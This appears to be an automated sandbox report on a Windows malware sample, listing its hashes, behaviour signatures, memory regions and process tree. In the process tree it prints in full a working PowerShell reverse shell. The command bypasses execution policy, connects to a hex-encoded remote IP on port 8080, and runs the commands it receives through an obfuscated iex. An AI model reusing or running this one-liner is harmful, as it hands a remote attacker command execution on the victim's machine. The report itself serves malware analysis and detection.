Analysis

  • max time kernel
    150s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230831-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-09-2023 08:24

General

  • Target

    067c95ad074afd8993281b02f74d0f257fb312943da0887355da652afb54c0ab.exe

  • Size

    107KB

  • MD5

    c974ffe23d57ec909ef26b55f202047e

  • SHA1

    ec6da5616d6b3b3269fababe104bfe04f2828717

  • SHA256

    067c95ad074afd8993281b02f74d0f257fb312943da0887355da652afb54c0ab

  • SHA512

    756977c99eb9a685201af8c27ce81e53e292af6c0d06726a86d7b67d4236e7057084b3545299d4cd4729c9d6c04fcb01c18868dff6d90273d029f8dcfea1899d

  • SSDEEP

    1536:zEHDqvM3NJX3i/5CxGKoUA6oAm3gWl59xxYalgnjbYnbwjrsW+A0U0jRiD:qqvM3Xi/5CxGKFMT9xxojmsgdnjsD

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\067c95ad074afd8993281b02f74d0f257fb312943da0887355da652afb54c0ab.exe
    "C:\Users\Admin\AppData\Local\Temp\067c95ad074afd8993281b02f74d0f257fb312943da0887355da652afb54c0ab.exe"
    1⤵
    • Checks computer location settings
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1192
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -nop $WAHPsP0zOp = New-Object System.Net.Sockets.TCPClient('0x6247e8df',0x1f90);$nj8xSlL0gJ = $WAHPsP0zOp.GetStream();[byte[]]$rqsNZ3isrY = 0..65535|%{0};while(($0LX0Nu0ySD = $nj8xSlL0gJ.Read($rqsNZ3isrY, 0, $rqsNZ3isrY.Length)) -ne 0){;$em34Ly0XRy = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($rqsNZ3isrY,0, $0LX0Nu0ySD);$B3STzgCfAh = (i''ex $em34Ly0XRy 2>&1 | Out-String );$NDnRGZsp2y = $B3STzgCfAh + '<:30GJt2Kp5o:> ' + (pwd).Path + '> ';$os0HZbk4Kv = ([text.encoding]::ASCII).GetBytes($NDnRGZsp2y);$nj8xSlL0gJ.Write($os0HZbk4Kv,0,$os0HZbk4Kv.Length);$nj8xSlL0gJ.Flush()};$WAHPsP0zOp.Close()
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2856

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hz0l2tlp.otg.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1192-0-0x0000000000CB0000-0x0000000000CCE000-memory.dmp

    Filesize

    120KB

  • memory/1192-10-0x00007FFB553C0000-0x00007FFB55E81000-memory.dmp

    Filesize

    10.8MB

  • memory/1192-12-0x0000000001C30000-0x0000000001C40000-memory.dmp

    Filesize

    64KB

  • memory/1192-11-0x0000000001B90000-0x0000000001BB2000-memory.dmp

    Filesize

    136KB

  • memory/1192-13-0x0000000001C30000-0x0000000001C40000-memory.dmp

    Filesize

    64KB

  • memory/1192-15-0x00007FFB553C0000-0x00007FFB55E81000-memory.dmp

    Filesize

    10.8MB

  • memory/2856-21-0x00007FFB553C0000-0x00007FFB55E81000-memory.dmp

    Filesize

    10.8MB

  • memory/2856-22-0x000002072A730000-0x000002072A740000-memory.dmp

    Filesize

    64KB

  • memory/2856-23-0x000002072A730000-0x000002072A740000-memory.dmp

    Filesize

    64KB

  • memory/2856-28-0x000002072A730000-0x000002072A740000-memory.dmp

    Filesize

    64KB

  • memory/2856-31-0x00007FFB553C0000-0x00007FFB55E81000-memory.dmp

    Filesize

    10.8MB